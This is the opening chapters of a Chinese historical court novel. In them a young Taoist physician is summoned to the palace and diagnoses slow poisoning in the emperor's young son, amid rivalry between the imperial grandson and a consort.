《皇太孙他不想亡国》 1. 第一章 第一章 天色渐渐暗了下来,长乐坊内喧嚣尽散,只有西坊门前的茶摊上还坐着几个附近的街坊,正不紧不慢地喝茶闲聊。 难得的安宁间,远处突然传来一阵辘辘的车响。 没一会儿,一辆简陋老旧的马车转过街角,停在了坊门口。 马车门开,一个道士打扮的年轻男人走了下来。 天色昏暗,看不清这人的正脸,只能隐隐地看得出一道清瘦的轮廓,还有肩上搭着的硕大的药箱。 “又是为那皇榜来的。”茶摊上有人眼尖,指着药箱笃定地开口。 同桌人顺着看过去,认同地点了点头。 一个月前,当今天子元成帝的幼子严彻突染风寒,太医署按病情开方抓药,几服下去不见起色,人还越来越虚弱,每日都要昏睡七八个时辰,到后来更是连床都下不了。 元成帝子嗣单薄,三年前刚刚去了长子昭惠太子,生怕幼子再生不测,当即下了皇榜,不论出身来历,只要能治好幼子,皆以重赏。 一时间,全国各地的能人异士都涌来了都城。 为了方便,这些人大都投宿在皇城附近的客栈驿馆,而长乐坊虽然位置偏远,宿费相对低廉,偶尔也还是会有几个手头窘迫的过来——眼前这个明显就是。 “三皇子是患病又不是中邪,来这么多道士管什么用。”隔壁桌的客人放下茶盏,往那道士身上瞥了一眼。 “道医不分家嘛,更何况咱们圣上就信这些。” 先前说话的年岁更长一点,热心地解释道,“你年岁小不知道,当初潜邸里就养着好几个道长,登基之后全接进了皇城,那可真是恩宠无限……修道的也是人,这种好日子谁不想过?” “也是。可惜我家里也没个修行的,不然还能跟着沾沾光。” 年轻客人遗憾地摇了摇头,还要再开口,余光发现那道士已经结清了车费,一路穿过坊门,来到了茶摊前。 茶摊棚檐下,刚点亮的灯笼随着晚风摇曳,映出张尤为清艳的面孔。 “掌柜,劳烦来碗茶。” 江酌随手把药箱放在地上,掸了掸衣角上沾染的尘土。 “来了!”老掌柜正收拾东西,下意识应了一声,回过头来不由一愣,“道长……” 江酌探头看了看已经熄了的炉火:“要收摊了?” “……还一会儿呢。” 老掌柜这几天见了各种奇形怪状的道士,蓦地瞧见这么个年轻好看的难免惊讶,回过神后赶忙倒了碗茶递过去,“不过也是最后一碗了,有些凉了,道长将就喝着解解渴,就不收钱了。” “那贫道就不客气了。” 江酌弯了弯眼睛,也不落座,伸手接了茶碗站在灯下大口地喝了起来。 “道长这是一路赶着进城的吧?”大抵是觉得他眉眼弯弯的样子还算随和,先前那位年长的客人主动搭起话来,“前面过了巷子就有家客栈,马上宵禁了,投宿可要抓紧些。” “多谢提醒,”江酌把喝光的茶碗递回给老掌柜,转头朝四周看了看,“正好问一下,青云观要从哪条巷子进来着?” “青云观?”年轻客人插嘴道,“我怎么没听说坊里还有道观?” “有自然是有的,对面那条巷子进去,一直走到尽头就是了。” 年长客人指了路,又忍不住提醒,“老观主去世后,那观里就剩下个半大的陆道长,生性孤僻,平时连香客都不接待,怕是更不会让外人投宿……道长不然还是找家客栈吧。” “没关系,”江酌看着街对面,眼里生起点笑意,“我有办法。” “你初来乍到的能有什么办法?” 年长客人顿了顿,余光扫见他身上那件旧道袍,又想起刚刚吱嘎乱响的马车,“道长要是手头不宽裕,我家里还有间空屋子,虽然破了些,现在天气暖了,也还能将就一晚。” “嗯?” 江酌有些茫然地回过头,顺着对方的视线朝自己身上看了一眼,知道对方是觉得自己穷得住不起客栈……虽然有些以貌取人,其实也没错。 他扬了扬唇,笑着应声:“好啊,待会儿我要是无处可去,一定上门叨扰,不过……只要陆道长在,应该就不会。” “怎么可能不会,你不知道那陆道长……哎,你这人!” 年长客人还想再劝,那头江酌已经提起了药箱,礼貌地朝茶摊上的几人点了点头,起身朝街对面的小巷走去。 与都城的其他地方相比,长乐坊不仅更偏远,也更穷困混乱。 高大的坊墙上斑驳着要脱落的墙皮,低矮简陋的屋舍凌乱拥挤地排在一起,逼仄狭窄的土路上甚至还残留着前几天雨后留下的泥水坑—— 光线昏暗,江酌踩进去才发现。 算起来他不过两年没回来,却好像发生了天翻地覆的变化,不管是坊里,还是观里。 高悬的匾额上带着裂痕,观门上的红漆也已经斑驳,就连两旁的围墙都塌出了一个半人宽的缺口……所幸破成了这样,应该也不会再有什么贼人光顾。 当今天子尊崇方术,朝野上下大兴崇道之风,别说是都城,江酌过往在各地游历时途经的道观个个都是香火鼎盛、富甲一方,却没想到自家道观已经破落成了这个德行。 也难怪刚刚茶摊上的人听说自己要去青云观会是那种反应。 江酌想着,轻轻笑了一声,将药箱换了个肩膀,拉起锈迹斑斑的门环轻轻叩了叩。 因为隐于街巷之中,青云观占地并不大,前后加在一起统共几丈远,叩门声轻而易举地就传遍了整个观。 没一会儿,一道轻快的脚步声由远及近地响起,一位一身短打的半大少年打开观门探出头来:“抱歉,鄙观不接……” 话说了一半,他看清了门外的人,原本冷漠的脸上难得地现出了点讶异:“师兄?” “好久不见啊,”江酌唇角上扬,“陆道长。” “是挺久的,”少年——陆见真看着面前两年没回过都城的师兄,思绪转了转,“你回来是为了给那三皇子看病?” “成日闭门修行,消息倒挺灵通,”江酌伸手在他头上轻轻敲了一下,“要宵禁了,不如先请我进去?” “哦,”陆见真回过神来,向后退了一步,“师兄请。” 门内是一如所料的破落冷清。 天光黯淡,整个观里一片昏暗,只有灶房点了灯火,顺着半敞的木门透出昏黄的光。 “才五月怎么就这么热了?” 江酌搬了张躺椅放在灶房门口,手里拿了把旧蒲扇,有一下没一下地摇着。 他刚洗过澡,半干的长发随意披散在肩头,让因为旅途劳顿而憔悴的一张脸更显得苍白。 在蒙蒙的夜幕下,有种惊悚的动人。 “师父说心静自然凉,”陆见真端着面碗从灶房里出来,迎面瞧见他披头散发的像个鬼一样瘫在那里,说了一半的话卡在了嘴边,“你……” “我怎么……”江酌扭过头,朝他手里看了一眼,“煮好了?” “嗯,”陆见真把碗放在旁边的石桌上,回身又进灶房里将油灯拿了出来,“你房里有师父留下的经书,睡前抄几页凝神静心就不觉得热了。” “算了吧,我看见那些东西就头疼,”江酌懒洋洋地从躺椅上起来,坐到石桌旁,“怎么就一碗?” 陆见真在石桌另一边坐下,顺手从怀里摸出一本经书:“夜食不宜。” “ 小小年纪规矩倒不少。”江酌拿起筷子吃了口面,一瞬沉默后,他抬起头,神情复杂地看向正专心读经的陆见真,“你每天就吃这么……寡淡的东西?” 陆见真伸手将油灯拿得近了些:“师父说修行之人不可纵容口舌之欲。” “那他老人家也没说让你当个苦行僧吧?” 这素面又软又烂还没什么滋味,江酌勉强吃了几口终于还是放下了筷子,偏过头朝旁边抬了抬下颌,“刚我就想问了,那面墙怎么回事?” “嗯?”陆见真抬起头,顺着他说的方向看了看,“道法自然。” 江酌眨了眨眼:“什么?” 陆见真垂下视线,语气平静:“没钱。” “……那也是你自找的,都城里这么多道观偏耗在这儿。”江酌说着,回过头往陆见真身上扫了一眼。 其实算起来,他跟这个师弟也没相处过多长时间。 毕竟过往的这几年自己大都在外云游,直到两年前师父去世匆忙赶回来,师兄弟二人才短暂地独处了一段时日。 再离开前,江酌曾想过要把这个小师弟送去别的观里,但被拒绝了。 当时陆见真怎么说来着……哦,别的观香客太多会耽误修行。 现在是没有香客叨扰,离饿死也不远了。 少有的作为师兄的责任感涌上了心头,江酌拿起蒲扇晃了两下,又开了口:“没钱了上次写信怎么不告诉我?” 陆见真奇怪:“你有钱给我?” “没有。”江酌摊了摊手,理直气壮。 陆见真毫不意外:“那告诉你干什么?” “我好歹是你师兄嘛,”江酌托着下颌,“你要是饿死了,我总得回来替你收尸吧。” “暂时还不用麻烦,”陆见真认真道,“我昨天才清点过,厨房里还有不少米,后园的青菜也都长好了,还有去年秋天存的咸菜……至少到今年底,我都不会饿死。” “也是,你们修行之人虽然吃得不好、规矩又多,命倒是长得很呢。”江酌轻轻笑了一声,指尖无意识地在桌面上划了两下,“那还是指望你替我收尸吧。” 陆见真抬起头:“为什么?” “什么为什么,”江酌看着他,“你年岁比我小,又算是我在这世上唯一的亲人,替我收尸不应该吗?” “但我以为那是几十年后的事,”陆见真想了想,“你要去做什么殃及性命的事情吗?” “给三皇子看病算不算?”江酌漫不经心道,“不都说一入宫门深似海嘛,说不定一不小心小命就没了呢。” 陆见真皱了皱眉,刚想说点什么,对方却转了语气,又开了口。 “逗你呢,当今天子仁善宽厚,又和师父是故交,只要我不把人治死,也不会有什么惩戒……哦还是有的,”江酌垂下眼眸,用下颌点了点面碗,“要回来继续吃这烂面条。” 陆见真:“……” 他一眨不眨地盯着江酌看了一会儿,紧皱的眉头舒展开来:“随你,师父说过世人自有其命数,就算真殃及了性命也是你自己的选择,我本也不该多问。念及师门情谊,到时候我会把你葬在师父旁边。” “好啊,”江酌笑得越发开怀,“记得逢年过节多去烧点纸,省得我跟师父在下面吃苦。” “师父才不在意这些,”陆见真看了眼被推到自己跟前的面碗,“不可浪费食物。” “好好的面做成这样才是浪费吧?” 江酌打了个呵欠,一路长途跋涉累积的疲惫让他难得在这个时辰就生起了睡意,“而且师父他老人家都说了一晚上了,让他歇歇吧,你师兄我也累了,就先……” 一阵急促的叩门声突兀地响起,打断了他后半句话。 2. 第二章 第二章 “都这会儿了还有人来?” 江酌转头看了一眼,回头对上陆见真的视线后,一瞬了然,“看来是找我的。” 他理了理凌乱的衣摆,刚要起身,余光瞥见披散在肩头的长发,微微一顿,而后就毫不客气地朝对面的陆见真伸出了手。 高束成髻的长发没了木簪的固定瞬间散落下来。 陆见真下意识低头看了一眼,再抬头时,罪魁祸首已经绾好发,走到了观门口。 “你……” “明天还你个新的。” 昏暗的夜幕下,江酌的笑容分外得意。 陆见真眼不见心不烦地摆了摆手:“送你了。” “多谢师弟。”江酌笑眯眯地拱了拱手,回身拿下了门上的横栓。 老旧的观门吱吱嘎嘎地打开。 一个侍卫打扮的年轻人站在门外,礼貌开口:“请问江道长在吗?” “我就是。”江酌点了点头,“有事?” 侍卫拱手行礼,而后从怀里摸出一块令牌:“奉陛下旨意,请道长进宫。” “现在?”江酌看了眼令牌,“那走吧。” 侍卫明显一愣,目光落到江酌身上,忍不住道:“那道长用不用换件外袍?” “嗯?”江酌垂下目光看了眼沐浴后才换上的旧道袍,“大象无形,何必在意这些。” 侍卫张了张嘴,好一会儿才似懂非懂地点了点头,做了个请的手势:“巷道狭窄,马车停在外面路口,还要劳烦道长多行几步。” “好说。”江酌转头,朝院子里看了一眼,“师弟?” “听到了,”陆见真的声音从寂静的夜空中传了过来,“记得关门。” “墙都塌了,关不关门有什么分别?” 江酌口中说着,手上却十分听话地关上了观门,跟着那侍卫朝巷外走去。 * 皇城里已经乱成了一团。 三皇子病了半月有余,虽然病势蹊跷查不出因由,但也只是身体虚弱下不了床,今晚却不知怎么,喝完惯例的汤药后突然呕出了几口鲜血,话都没说上一句就昏死了过去。 其母郑贵妃吓了半死,匆忙地让人请来了所有当值的太医。 龙体抱恙的元成帝严兆也被惊动,衣袍没来得及换就赶去了贤德宫,这会儿正心神不宁地坐在外间的软榻上念经。 “陛下,太孙殿下到了。” 禀奏声刚落,皇太孙严荫之已经裹着一身夜风进了门。 “皇爷爷!”他年岁并不大,眉眼间还带着少年人的青涩和稚气,看不出丁点国之储君该有的持重,连行礼都是草草了事,没等元成帝应声就自顾直起了身子,“您病还没好呢,怎么穿这么少?” “已经好多了,”元成帝睁开眼,瞧见身前那张带着担忧的脸,原本紧皱的眉头稍稍舒缓了一点,“都这个时辰了,怎么不在府里休息?” “来看看,”严荫之扫了眼软榻另一边正哭得梨花带雨的郑贵妃,“三叔怎么样了?” 元成帝朝里间看了一眼,摇了摇头。 严荫之蹙起眉,起身走到里间门口。 本就不大的空间里这会儿几乎汇集了整个太医署。 几个太医围在书案前,或是在写方子,或是在翻医书,还有几个虽然极力压低了声音,也看得出是在争论。 他们身后床榻上,才八岁的严彻双眼紧闭,意识全无。 ……就像是已经死了。 因为各种缘故,严荫之和这个比自己小了十余岁的皇叔并不亲近,有时候甚至算得上讨厌。 但眼下本该活蹦乱跳的小孩成了这副样子…… “怎么这么多人还没查出缘由,”他闭了闭眼,回身看向元成帝,“我去请林太医过来?” “林太医先前也不是没来过,这么晚了殿下又何必折腾已经致仕了的老人家?” 郑贵妃不知道什么时候停下了啜泣,用锦帕轻轻地擦了擦脸上的泪痕,泪光盈盈地看着元成帝,“陛下,还是请张天师吧?” 元成帝没应声,眉头紧紧锁着,有一下没一下地摩挲着手里的流珠,明显是在犹豫。 严荫之看在眼里,不由挑眉。 这段日子皇城里的道士多到碍眼,其中最受信赖的就是这个才进宫没几天的张天师——据说是因为他能炼制让人长生不老的丹丸。 除此之外,此道士还深谙鬼神之道,坚称严彻是因为邪祟上身才导致的体弱,下午的时候才在崇德殿办了一场驱邪的法事,还说严荫之作为皇太孙身上有潜龙之气可以镇压邪祟,极力要求他在场作陪。 严荫之对这种言论素来嗤之以鼻,但眼下这个情势,为了让自家皇祖父安心难得配合地到了场,然后就被迫浪费了两个时辰看了场又吵又闹的装神弄鬼。 现下郑贵妃居然还要把那老骗子找来…… “行啊,”严荫之轻笑,“我也正想见见张天师呢。” 一句话说完,殿内的两个人都惊讶地看了过来,他却好像没有看到,兀自回身找了张椅子坐下,又从小太监手里接了茶,喝过一口才接着道: “他信誓旦旦地说三叔是中了邪,驱除了就能痊愈,结果呢……装神弄鬼,欺君罔上,谋害皇嗣,正好,叫来算算账嘛。” “你这是血口喷人!” 郑贵妃下意识反驳完,敏锐地察觉到旁边元成帝投过来的视线,声音又低了下去,“我知道殿下一向厌弃玄门,但张天师先前就说过,彻儿体弱,邪祟入髓又久,蓦得离体难免损伤自身,也给了应对之法……” 说到这儿,她微微顿了顿,似乎是纠结再三才又开了口:“我本不想说……下午斋醮后天师交给殿下一张九凤破秽符,为何不见殿下拿给彻儿?” “九凤破秽符?”严荫之歪头想了想,从怀中摸出一个黄色的纸团,“这个?” “你怎么……”郑贵妃转过脸,看向元成帝,“陛下,那是张天师于纯阳日画下的九凤破秽符,可以解秽净身,滋养脏腑,要是能早点拿过来,说不定彻儿也不会……” “你不会真信这东西有用吧?” 严荫之嗤笑一声,慢条斯理地将那团符纸展开。 黄表纸配朱砂字,外加一些看不懂的纹饰符号,再加上所谓的纯阳日所画——虽然他一向不信这些东西,给重病的人随身放着图个吉利其实也无伤大雅。 ……偏偏那老东西说要焚尽了化在水里喝下去。 “符纸就在这儿,无根水也好找,”严荫之将符纸拍到桌上,从怀里摸出块锦帕,擦了擦手,“反正现在也没别的办法,不如就化了符水给三叔喝下去,要是真能救他的命,我当场向你和张天师磕头赔罪,怎么样?” “我要殿下赔罪又有什么用?彻儿现在这样,别说是化了符水,哪怕是能喝口水进去,我死了又有什么关系!” 郑贵妃说着,眼泪又滚了下来,“我知道殿下是不信这些,可彻儿好歹是你的亲叔叔,事关他的性命,好歹也该请示一下陛下……” “贵妃这眼泪可真是说有就有,不知道拿来化符水有没有用,”严荫之托着下颌,“话说回来,我要是能让三叔喝下这符水,你真可以去死吗?” “你……” “行了!”一直默不作声的元成帝拍了拍郑贵妃的手,止住了她的话,又转头看向严荫之,“你也差不多点,贵妃是长辈,先生教的孝亲敬长都忘光了?” “记着呢,”严荫之起身,从内侍手里拿过茶壶,亲手斟了一盏茶,双手奉到元成帝跟前,“您念了半天的经也该渴了,请喝茶。” “……你啊!” 元成帝无奈地摇了摇头,瞧着面前那张还带着稚气的脸,到底还是伸手接了茶盏,浅浅喝了一口。 “多谢皇爷爷赏脸。”严荫之回身坐回椅上,抬眼迎上郑贵妃的视线,“贵妃也要喝茶吗?” 旁边元成帝喝过了茶又重新阖起双眼诵上了经,明显不想再听争执,郑贵妃只能瞪了严荫之一眼,心不甘情不愿地转开了脸。 严荫之轻笑一声,扭头示意旁边的小太监替自己添了盏茶。 “陛下!” 殿门轻响,小太监小心翼翼的声音在殿门外响起,“江道长到了!” “什么江道长,”严荫之看向自家皇祖父,“您又找了新道士?” 元成帝没接话,反而坐直了身体还理了理衣摆,而后提了声音朝殿外吩咐道:“快请进来!” 明显对这个不知从哪冒出来的江道长十分重视。 严荫之拧起了眉。 他偏过头朝郑贵妃看了一眼,发现对方还沉浸在刚才的委屈之中正默默地抹着泪,显然和自己一样的一无所知,便安心地收起困惑,重新拿起茶盏慢悠悠地喝了起来。 一盏茶未尽,紧闭的殿门缓缓地打开,一道出乎严荫之意料的年轻身影走了进来。 那是一个十分好看的男人,二十出头,穿着身泛旧的青色道袍,袖口甚至还有块补丁。 他身上没有任何的配饰,连头发都是用一根简陋的木簪随意地束起,却因为长了张过于白皙精致的脸,给显而易见的穷困落魄平添了点莫名的气度。 ……就好像真有那么几分出尘绝世的仙风道骨。 大概是严荫之的注视过于明显,那道士刚迈进殿门就偏头看了过来。 四目相对,他礼貌颔首,狭长的眼尾微微向上扬起,显出浅淡的笑意,随即又像什么都没发生一样收回视线,目不斜视地从严荫之身前走了过去。 鼻息间平白多了一股清淡的香气。 严荫之嗅了两下,后知后觉地意识到那是他历来最讨厌的檀香,不由皱起眉,朝罪魁祸首看了过去。 3. 第三章 第三章 “江酌见过圣上。” 满殿瞩目下,那道士神色淡然地走到殿中,俯身行了一礼。 “快请起!”元成帝一改方才的心神不宁,语气亲切得像是个普通人家的长辈,“你一路旅途劳顿,我本想着明日再召你过来,实在是彻儿突然昏迷不醒,病势危急,我也是没办法了,只好大晚上的辛苦你。” “圣上客气了,”江酌微微颔首,“那我先去看三殿下。” 元成帝点了点头,刚要示意身侧的小太监带路,另一边突然传来一声轻咳。 “皇爷爷,”严荫之放下茶盏,漫不经心道,“我知道您焦心三叔的病情,但有些话孙儿觉得还是提前跟这位……江道长是吧,说清楚的好。” 元成帝敛眉看他:“你要说什么?” “也没什么,就是想问问江道长打算怎么救人,念咒、喝符水还是办法事驱邪?” 严荫之转过视线,一双眼一眨不眨地看着几步之外的年轻道士,“三叔现下可经不起折腾,要是这会儿再出什么状况……本宫也是为了道长好。” “多谢太孙殿下提醒。”江酌抬眸回视他,语气平静温和,“不过我天资平庸,修行多年也没什么本事,您说的那些都不会,只能替三殿下看看脉象。” “看脉象,”严荫之意外,“你懂医术?” 江酌歪了歪头:“不然殿下以为圣上专门召我过来是为了什么?” 他的语气和方才并没区别,甚至唇角微微扬起,带了点清浅的笑意,温和守礼却又多了几分……让人移不开眼的动人。 “你……”严荫之回过神,后知后觉地听出了这人话里的嘲弄,轻轻笑了一声,“还真是胆子大得很。” “不敢,不过我也有些话想提前和殿下说清楚,”江酌十分礼貌地打断他,“家师是江玄明。” “江玄明?” 严荫之难得一愣,还没等再追问,就听见对方又温声开了口。 “就是当年叛军围城冒险给殿下治病救殿下性命的那个江玄明。” 江酌微抬下颌,唇角轻扬,“现在我可以去给三殿下看诊了吗?” 严荫之有一瞬的凝滞,很快就又恢复如常。 “早说啊,”他偏了偏头,毫不意外地看到另一旁元成帝的眉头已经深深地拧了起来,在被斥责前勾出个满不在乎的笑,“那就有劳道长了。” “殿下客气了。” 嘴上这么说,江酌却再没看他一眼,朝着元成帝轻轻颔首后,头也不回地跟着小太监进了里间。 莫名出现的道士给里间里带来一阵短暂的喧嚷,很快又平复下来。 从严荫之的视角,刚好能瞧见那人和太医令说了句什么,之后自顾走向床榻,替严彻诊起了脉。 “江酌……”严荫之盯着那道背影,自言自语道,“长得油头粉面的,还真会医术?” “你差不多点,”正要继续诵经的元成帝听见这句话忍不住瞪了他一眼,“其他人就算了,我费了不少周章才将江酌找来,就是看在江玄明当初救你的份儿上,以后也对他徒弟恭敬点。” “嗯?”严荫之回过头,正迎上自家皇祖父不满的目光,懒洋洋地应了一声,“知道了。” 而后就又靠回椅上,重新端起了茶盏慢条斯理地喝了起来。 显然根本没把刚刚的话放在心上。 “你……”元成帝皱起了眉,刚想再接着说他几句,一盏茶奉到了眼前。 “陛下!”或许是江酌的出现又带来了点的希冀,郑贵妃的心情明显好了不少。 她朝严荫之身上瞥了一眼,手里的茶盏又往元成帝跟前递了递,“刚说的江玄明,是那位据说能够起死回生的江道长?” “起死回生?”元成帝伸手接了茶,“那人本来也没死透,算不上回生,不过玄明的医术确实可靠,在民间颇有声望……没想到贵妃也听说过。” “臣妾是听哥哥说的。彻儿生病后,哥哥打听到城西青云观里有位医术超绝的江道长,就派了人去请,得知他两年前就仙逝了,只剩下个十六七岁的小徒弟在,一点医术都不会,就也没再多打听。” 郑贵妃挨着元成帝坐了下来,“早知道还有这么个小江道长,就该让哥哥多问问,先把人请回来也省得劳累陛下费心。” “彻儿也是我的孩子,自该费些心思,况且……” 元成帝摇了摇头,“他们师门素来独行特立,最不爱和这些所谓的达官显贵打交道,江酌又常年在外游历,极少回都城。要不是登基前和他师父的那点旧交情,就算是我也难把人请来。” “到底还是陛下多年修行积下的福泽。” 郑贵妃整个倚到了元成帝身上,凑到他耳边压低了声音又说了些什么,哄得那张一直紧绷着的脸上露出了些许笑容。 严荫之轻轻地放下手里的茶盏。 郑贵妃后面说了什么,他并不能听清楚,也不是很想听清,反正也不会是什么紧要的事情。 其实也是难为这女人,唯一的孩子生死未卜,百般焦急和痛心的时候也还是要分出精力去讨好孩子的爹。 看起来深受圣恩、显赫尊贵,实际上都不如……刚才那个道士。 想到这儿,他偏过头朝里间又看了一眼。 然后就对上了一双明亮里带了些许困惑的眼睛。 “陛下。” 短暂的对视后,江酌恍若什么都没发生一样移开视线,大步迈过里间的门槛,来到元成帝跟前,躬身施礼。 “不用多礼,”元成帝向前伸了伸手,恨不得亲自上前将人扶起来,“彻儿怎么样,可有头绪?” “有,”江酌直起身,“三殿下是中毒。” 中毒? 严荫之轻轻抬眼,在元成帝和郑贵妃脸上看到了同样的难以置信。 一瞬后,郑贵妃先回过神:“怎么可能?彻儿每日的饮食和我一样,就算是有人想要毒害他,我怎么没事?” “贫道只管看诊,谁下的毒、怎么下的毒,还请另寻高明。” 江酌转头继续解释道,“毒是慢性的,每次剂量又少,日积月累地下来只会让人觉得乏累体虚,从脉象上也 看不出什么,就算最后毒发身亡,也只会被当成是先天不足,体弱早夭。” “按你这么说……”严荫之看了他一会儿,“今天又是怎么回事?” 江酌抬眼,语气平静而又笃定:“三殿下今日服过丹药。” “丹药?”严荫之挑眉,转脸看向郑贵妃,“贵妃喂的?” “我……”两人的视线都集中在自己身上,郑贵妃莫名有些心虚,最后转过脸看向了元成帝,“陛下,那丹您是知道的,不可能有问题……” “我知道,”元成帝安抚地拍了拍她的手,转向江酌,“那丹是张天师费了不少心思才制成的,我每月都服一丸,确实能补气养神,没见有什么弊端。” “一点人参、黄芪就能达到的功效,其实也不用那位张天师这么费心思。” 江酌道,“丹药本身或许没有问题,尤其圣上正值壮年,又是每月才用一丸。奈何三殿下年少体弱,又被日积月累的毒素侵入脏腑伤了根本,承受不了这样的药性,自然要爆发。” “这么说,”郑贵妃张了张嘴,“竟然是我害了彻儿?” “福祸相依,”江酌淡淡道,“提前激发三殿下/体内的毒素未必是坏事。” “那……”郑贵妃明显还有些不知所措,旁边元成帝适时接话道,“彻儿可还有救?” “有,只是毒入肺腑太深,需要很久才能根除,”江酌微垂眼帘,“并且脏腑损伤极难恢复,今后怕是要一直用药养着了。” “什么?”郑贵妃愣了愣,跟着眼泪就涌了出来,死死地抓住元成帝的袖子,“陛下,彻儿他才八岁,到底是谁要害他,您要给他做主啊……” “我有时候真好奇贵妃到底在不在意三叔的命?” 严荫之瞥了郑贵妃一眼,回过头时发现江酌微微蹙起了眉头,不由轻笑,而后才又接着道: “当务之急难道不是先解了毒让人醒过来吗?再耽搁下去哪怕这位江道长真是华佗在世都来不及了。” “是了,”元成帝回过神来,深吸了一口气,朝着江酌道,“那就劳烦你先去帮彻儿解毒吧,太医署的人都在里面,需要药材又或是别的什么尽管吩咐他们,只要能保住彻儿的命,其他的都不重要。” “好,”江酌轻轻点头,“那我先去开方子。” 话落,转身回了里间。 殿内重新归于沉寂,让郑贵妃的啜泣声更显得分明,落在严荫之耳中,愈发觉得烦。 “不管怎么说三叔也算是有救了,我在这儿也没什么用就先回府了,”他站起身,朝着元成帝行了礼,“您身体还没恢复,也早点歇息吧。” “等彻儿服了药朕就回去,”元成帝捏了捏额角,“彻儿是中毒的事先不要声张,朕会派专人去彻查,省得打草惊蛇。” “知道了,我才懒得管这些,别人不声张就行。”严荫之朝郑贵妃看了一眼,“贵妃也早些休息吧,成日里这么哭,看起来老了好几岁呢。” “你……” 郑贵妃瞪大了眼睛,还没等还口,严荫之已经转过身头也不回地走了。 4.第四章 第四章 夜色正浓。 宫人们早早点起了烛火,繁复精致的八角宫灯高悬在屋檐下,映亮了贤德宫外的汉白玉石阶。 徐礼倚着石阶的立柱,正百无聊赖地把玩着一盏提灯,抬眼瞧见自家太孙殿下从里面出来,直起身恭恭敬敬地施了一礼:“殿下!” “吃错药了?”严荫之走到他面前,“好端端地行什么礼,又没外人。” “怎么没有,”徐礼指了指殿门口守着的内侍,又冲不远处正巡夜的侍卫抬了抬下颌,“人多口杂的,随便干点什么明天都会传到御史台,到时候再说我们太孙府的人没规矩,上梁不正下梁歪,跑圣上面前参你。” “参呗,”严荫之轻哼,“反正他们也闲着没事做。” “你当然无所谓,大哥不舍得教训你这个爱徒,只会收拾我……” 身后传来一阵匆忙的脚步声,徐礼回过头,瞧见几个太医小跑着从殿里出来,朝太医署方向而去,奇怪道,“刘太医他们这会儿不在里面守着,匆匆忙忙地干什么去?” “抓药吧,”严荫之收回视线,一边沿着石阶向下走一边道,“皇爷爷新请了个……神医,严彻应该有救了。” “神医,”徐礼几步跟到他身边,“刚跟着内侍进去那个年轻道士?” “嗯,”严荫之微垂眼帘,“说是江玄明的徒弟。” “先前去青云观的人不是说江玄明那个徒弟不会医术吗,”徐礼奇怪,“这神医又是从哪冒出来的?” “听皇爷爷的意思是常年在外游历久不回都城,刚瞧着医术也确实可以,最起码比太医署那几个强,不过……” 严荫之思索着迈下最后一级石阶,“派几个牢靠的人去他来的地方还有青云观周边仔细查查。” “有问题?”徐礼皱了皱鼻子,“圣上和江玄明不是旧交嘛,总不会认错人吧?” “认没认错也都是凭空冒出来的,查清底细才安心,”严荫之道,“毕竟关系到严彻的性命安危。” “行,天亮了我就去安排,”徐礼举起提灯,朝严荫之脸上照了照,被嫌弃地瞪了一眼也不在意,反而笑了起来,“你可真是……” 严荫之瞥了他一眼:“真是什么?” “嘴硬心软呗,”徐礼道,“郑贵妃这两年争储的心思那么明显,换别人巴不得你那三叔早点死了,你倒好,从他病了又是帮忙寻神医,又是帮忙找名药,今天下午甚至还浪费了两个时辰看那个张天师装神弄鬼……这宫里谁不知道你以前理都懒得理他。” “郑贵妃是郑贵妃,严彻才几岁?再说我还不是为了皇爷爷,阿爹已经……” 严荫之顿了顿,转了语气,“提起姓张的那个老东西就烦,有时候都不知道皇爷爷是病急乱投医还是真老糊涂了,先前烧烧香抄抄经就算了,现在连这种江湖骗子才用的把戏都信,怪不得舅舅那日说与其这样,不如我……” “殿下!” 不知不觉间他们已经走进了巷道,高大的宫墙笼罩在四周,遮蔽了墙内的灯火通明。 “这可是皇城,”徐礼朝四周看了看,压低声音,“小心隔墙有耳。” “知道了,”严荫之应了一声,满不在乎道,“下次挑没墙的地方说行了吧?” “……是墙的事儿吗?”徐礼无奈,抬眼看见严荫之脸上的笑意,知道这人是在故意逗自己,忍不住翻了个白眼,“怪不得御史总要参你。” 严荫之弯了弯眼睛,笑得愈发开心。 好一会儿,他长舒了一口气,转脸看着徐礼:“还有正事儿没说呢,刚那个神医说严彻是中毒。” “嗯?”徐礼难以置信,“郑贵妃成日里把她那儿子看得跟个宝贝似的,饮食起居比圣上还精细讲究,谁有机会给他下毒?” “谁知道,皇爷爷不许我掺和,”严荫之低头看着地上自己的影子,“但我刚想了一下,不管凶手是谁,按照郑贵妃还有她那个哥哥的心思,都会想方设法地跟太孙府扯上关系,所以贤德宫和郑府都得让人盯紧点。” “放心,一直盯着呢,”徐礼转头看他,“不过仔细想想,要是论动机的话,你还真是嫌疑最大的那个。” “我皇太孙当得好好的,只要不铸下什么诸如欺君谋反的大错,就是皇爷爷也轻易不能废我,犯得着去惹火烧身?你要说郑贵妃想毒死我还差不多。” 严荫之摸了摸下巴,“话说回来,有时候我也挺想毒死她的。” “你也就嘴上说说吧,”徐礼长叹了口气,“就说这皇城里麻烦多,还是在青州的时候好。” “麻烦也都是冲我的,”严荫之看了他一眼,“你离开太孙府不就好了,让先生随便在军中给你安排个位置,又能历练,又自在。” “算了,谁让我什么都不懂的时候就被大哥带去王府了呢,”徐礼晃了晃脑袋,“你这艘贼船我都坐了十多年了,懒得下去。” “那我还得谢谢先生才是呢。”不远处就是永福门,严荫之抬头扫了眼,正瞧见府里的马车候在门外,不自觉地就加快了脚步,声音里也带了几分雀跃,“快走几步,折腾了一天,我得好好回去睡一觉!” “这会儿知道着急了!” 徐礼嘴上抱怨着,脚步却十分诚实地跟了上去。 天色渐明。 一抹朝霞挂在天边,影影绰绰地勾勒出皇城巍峨而又森严的轮廓。 江酌跟在小太监身后,一路沿着幽森的巷道走了不知道多久,终于停在了一座虽然位置有些偏僻比不上贤德宫那样繁奢,却也是雕梁画栋金碧辉煌光偏殿就不知道多少间的不知名宫殿前。 “江道长,陛下说今日时间仓促,委屈您将就在这儿安歇一下。” 小太监带着江酌走到最外面的一间殿前,推开房门,“已经安排人收拾过了,还有什么需要的,您尽管和奴婢说。” “没什么需要的,我现在困得紧,能睡一觉就成,”江酌打了个呵欠,“三殿下才服了药,差不多两个时辰左右会醒,在那之前都不用管我。” “奴婢明白。”小太监向后退了一步,微微躬身,“那就不打扰您休息了。” “多谢。”江酌朝他笑了笑,转身进了门。 房门从外面合上,发出一声轻响,在一片寂静的拂晓间分外刺耳。 “嚯,力气还不小。”江酌笑了声,回过身打量面前的房间。 严格意义上来说,刚那太监的话还真不是客套,在气势恢宏的皇城里这间屋子确实显得有些狭小,却也能看出来精心收拾过的痕迹—— 